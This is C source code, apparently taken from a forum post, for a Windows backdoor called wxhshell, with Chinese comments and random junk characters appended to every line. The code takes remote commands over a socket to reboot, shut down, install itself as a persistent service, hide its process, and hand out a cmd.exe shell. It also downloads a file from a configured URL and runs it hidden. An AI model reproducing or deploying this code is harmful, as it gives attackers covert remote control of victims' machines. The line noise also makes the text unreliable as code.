    switch(cmd[0]) { 5uq3\a  
  MV_Srz  
  // 帮助 dY?`f<*  
  case '?': { "mL++>ZSQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c4&'D;=  
    break; NK|?y  
  } Sxdsv9w  
  // 安装 p4IZ   
  case 'i': { QB.J,o*XD4  
    if(Install()) CQel3Jtt.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MMB@.W  
    else />'V!iWyz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;.xoN|Per  
    break; J q{7R  
    } b'MSkEiQG  
  // 卸载 Wg{k$T_>  
  case 'r': { L %ip>  
    if(Uninstall()) M8H5K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +^*iZ6{+7  
    else PJxH7|GSi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@*'2rO&!  
    break; Hf'G8vW  
    } (~zd6C1.  
  // 显示 wxhshell 所在路径 DG4 d"Jy  
  case 'p': { #;n +YM">:  
    char svExeFile[MAX_PATH]; `V)Z)uN{0  
    strcpy(svExeFile,"\n\r"); pa}*E  
      strcat(svExeFile,ExeFile); Z_\C*^  
        send(wsh,svExeFile,strlen(svExeFile),0); +&zYZA8v  
    break; 6v,z@!b  
    } 1@u2im-O  
  // 重启 k = ?h~n0M  
  case 'b': { WI]o cF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A:(*y 2  
    if(Boot(REBOOT)) =%'`YbD$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + OV')oE  
    else { R52I= a5,*  
    closesocket(wsh); .B#l5pfvP  
    ExitThread(0); 1&fc1uYB4  
    } 2[0JO.K 4  
    break; *:i1Lv@  
    } omWJJ|b~  
  // 关机 ikE<=:pe  
  case 'd': { u77E! z4Uz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vI$t+m:  
    if(Boot(SHUTDOWN)) s1|/S\   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~`C-K#  
    else { s@MYc@k  
    closesocket(wsh); M#|dIbns H  
    ExitThread(0); _gKe%J&  
    } .]aF 1}AI  
    break; %OgS^_tu  
    } Sq:0w  
  // 获取shell FU=w(< R;  
  case 's': { Ra*e5  
    CmdShell(wsh); uEc<}pV  
    closesocket(wsh); x `V;Y]7'  
    ExitThread(0); n$xQ[4eH)  
    break; '`1CBU$  
  } (98Nzgxgx}  
  // 退出 42>Ge>#F  
  case 'x': { Qt]Q: 9I[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s=?g\oR  
    CloseIt(wsh); ]%Zz \Q  
    break; NEa>\K<\  
    } FKe,qTqa  
  // 离开 2lL,zFAq  
  case 'q': { PRNoqi3sY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~ %B<  
    closesocket(wsh); ]Qm]I1P  
    WSACleanup(); @ 49nJi  
    exit(1); fDx9iHGv  
    break; Mi~(aah  
        } +cU>k}  
  } qRbf2;  
  } 8w({\=  
RpLE 02U  
  // 提示信息 |yo\R{&6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e.c3nKXZ q  
} KR7@[  
  } K'#E3={tt  
 +H$!a  
  return; p&VU0[LIC0  
} \QU^>2 3  
&@ JvnO:  
// shell模块句柄 DWdW,xG  
int CmdShell(SOCKET sock) +l=r#JF  
{ !x'/9^i~v  
STARTUPINFO si; Z,iHy3`  
ZeroMemory(&si,sizeof(si)); XD"_Iq!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G%d (  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ')GSAY7  
PROCESS_INFORMATION ProcessInfo; .f+TZDUO  
char cmdline[]="cmd"; u^029sH6j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BB|?1"neg  
  return 0; a~8[<Fomj  
} wgd/(8d  
Nan[<  
// 自身启动模式 !'LW_@  
int StartFromService(void) %e&9.  
{ V ]90  
typedef struct v9T_&  
{ v@#b}N0n  
  DWORD ExitStatus; BC'llD  
  DWORD PebBaseAddress; s`>[F@N7.o  
  DWORD AffinityMask; l3 DYg  
  DWORD BasePriority; 1#1 riM -  
  ULONG UniqueProcessId; -.{g}R%  
  ULONG InheritedFromUniqueProcessId; NY?;erX  
}   PROCESS_BASIC_INFORMATION; RoAlf+&Qb  
dK>7fy;mv  
PROCNTQSIP NtQueryInformationProcess; %c[V  
#pcP!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8b0d]*q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S;]*)i,v  
| [ >UH  
  HANDLE             hProcess; S8e{K  
  PROCESS_BASIC_INFORMATION pbi; H.UX,O@  
[V:\\$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); " LJq%E  
  if(NULL == hInst ) return 0; XkyKBg-  
n@G[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >ooZj9:'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qTQBt}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z(!00^  
yv)ux:P&+  
  if (!NtQueryInformationProcess) return 0; sN5B7)Vc  
~Ch+5A;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *}8t{ F@k  
  if(!hProcess) return 0; aN(|'uO@  
}- Wa`t7U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S]E.KLR?[;  
I" KN"v^  
  CloseHandle(hProcess); +>4;Zd!@d  
r;m)nRu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f|sFlUu&  
if(hProcess==NULL) return 0; <I"S#M7-s  
a@R]X5[O  
HMODULE hMod; xZV1k~C  
char procName[255]; u_rdmyq$x/  
unsigned long cbNeeded; _SA5e3#  
V <bd;m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;V<fB/S.=+  
]KJj6xn  
  CloseHandle(hProcess); R i^[i}  
tr7<]Hm:  
if(strstr(procName,"services")) return 1; // 以服务启动 i E CrI3s  
vv=VRhwF  
  return 0; // 注册表启动 `UBYp p  
} o;?/HE%,[  
(64yg  
// 主模块 !fj(tPq  
int StartWxhshell(LPSTR lpCmdLine) ZI=v.wa  
{ "U7qo}`I  
  SOCKET wsl; 5YrBW:_OI  
BOOL val=TRUE; M}!2H*  
  int port=0; K#"O a h  
  struct sockaddr_in door; HF(KN{0.B  
zk( U8C+  
  if(wscfg.ws_autoins) Install(); 2,*M|+W~  
."FuwKSJCo  
port=atoi(lpCmdLine); `hb%+-lj+  
%dY<=x#b  
if(port<=0) port=wscfg.ws_port; xNbPsoK  
&iV,W4  
  WSADATA data; o^ XtU5SVq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t]-5 ]oI  
[p<w._b i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oJfr +3I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F;]%V%F.X  
  door.sin_family = AF_INET; Phke`3tth  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @*sWu_ -Y%  
  door.sin_port = htons(port); 4t)/  
~ yX2\i"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KGg3 !jY  
closesocket(wsl); +>PX&F  
return 1; 6 :~v4W!k  
} =W'Ae,&  
Jkek-m  
  if(listen(wsl,2) == INVALID_SOCKET) { pxa(  
closesocket(wsl); ghRVso(  
return 1; F >rH^F  
} z[;z>8|c  
  Wxhshell(wsl); k5T,990  
  WSACleanup(); R2 V4#  
Bi{$@n&?f  
return 0; 0L/n?bf  
CvD "sHVq%  
} q|),`.eh\  
^f(@gS}?  
// 以NT服务方式启动 V 0rZz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }I>tO9M  
{ GP#aya  
DWORD   status = 0; 8e(\%bX  
  DWORD   specificError = 0xfffffff; 0vw4?>Jf@  
VTH> o>g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j*vYBGD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Q /Arq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =y-@AU8  
  serviceStatus.dwWin32ExitCode     = 0; 3p'I5,}  
  serviceStatus.dwServiceSpecificExitCode = 0; Cid ;z  
  serviceStatus.dwCheckPoint       = 0; gdQvp=v]  
  serviceStatus.dwWaitHint       = 0; zOiu5  
% oo2/aF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :*KHx|Q  
  if (hServiceStatusHandle==0) return; L'kmNVvYN  
U-3i  
status = GetLastError(); w.TuoWo>  
  if (status!=NO_ERROR) .Fp4: e  
{ q?8| [.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \7'+h5a  
    serviceStatus.dwCheckPoint       = 0; 0ik7v<:  
    serviceStatus.dwWaitHint       = 0; - RU=z!{  
    serviceStatus.dwWin32ExitCode     = status; ruld B,n  
    serviceStatus.dwServiceSpecificExitCode = specificError; S@/IQR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a5 TioQ  
    return; i,/0/?)*_  
  } NN?`"Fww  
PGoh1Uu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J G{3EWXR  
  serviceStatus.dwCheckPoint       = 0; sdo [D  
  serviceStatus.dwWaitHint       = 0; k1D@fiz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +csi[c)3E  
} K>@+m  
AnX%[W "  
// 处理NT服务事件,比如:启动、停止 e\:+uVzz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z.;ez}6%V  
{ 71t* %  
switch(fdwControl) lp^<3o*1  
{ u@cYw:-C  
case SERVICE_CONTROL_STOP: #*UN >X  
  serviceStatus.dwWin32ExitCode = 0; Rw0qcM\>|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mrF58Uq;A  
  serviceStatus.dwCheckPoint   = 0; XMu9Uk{|  
  serviceStatus.dwWaitHint     = 0; Jh!I:;/  
  { )`(p9@,V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #$8% w  
  } LF& z  
  return; @y\X R  
case SERVICE_CONTROL_PAUSE: ,1+y/{S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YF>m$?;  
  break; #6HA\dE  
case SERVICE_CONTROL_CONTINUE: 2$ze= /l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wG-HF'0L  
  break; F}/S:(6LF2  
case SERVICE_CONTROL_INTERROGATE: o9dY9o+Z  
  break; '$ t  
}; I!Z_ [M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _v> }_S  
} hJpxf,?'K  
GE%Z9#E  
// 标准应用程序主函数 P 'od`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ud'-;W  
{ "4{LN}`  
LQRQA[^  
// 获取操作系统版本 F7EKoDt  
OsIsNt=GetOsVer(); GQUe!G9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Fhs"  
P"8~$ P#  
  // 从命令行安装 kr9*,E9cv  
  if(strpbrk(lpCmdLine,"iI")) Install(); _8F`cuyW  
Ssou  
  // 下载执行文件 !u[eaLxV  
if(wscfg.ws_downexe) { )9"_J9G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1e{IC=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6"J? #  
} ijK"^4i  
< (fRn`)PT  
if(!OsIsNt) { R?"q]af~  
// 如果时win9x,隐藏进程并且设置为注册表启动 SVh 7zh  
HideProc(); p;3O#n-_  
StartWxhshell(lpCmdLine); %,@e^3B  
} zkuU5O  
else eo?;`7  
  if(StartFromService()) o.!~8mD  
  // 以服务方式启动 'm FqE n  
  StartServiceCtrlDispatcher(DispatchTable); qh|_W(`y  
else pS'FI@.'{  
  // 普通方式启动 1q:2\d]  
  StartWxhshell(lpCmdLine); jZ~n[ f+Q  
2q=AEv/  
return 0; PGhY>$q>b  
}
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只看该作者 1 发表于: 2006-10-10
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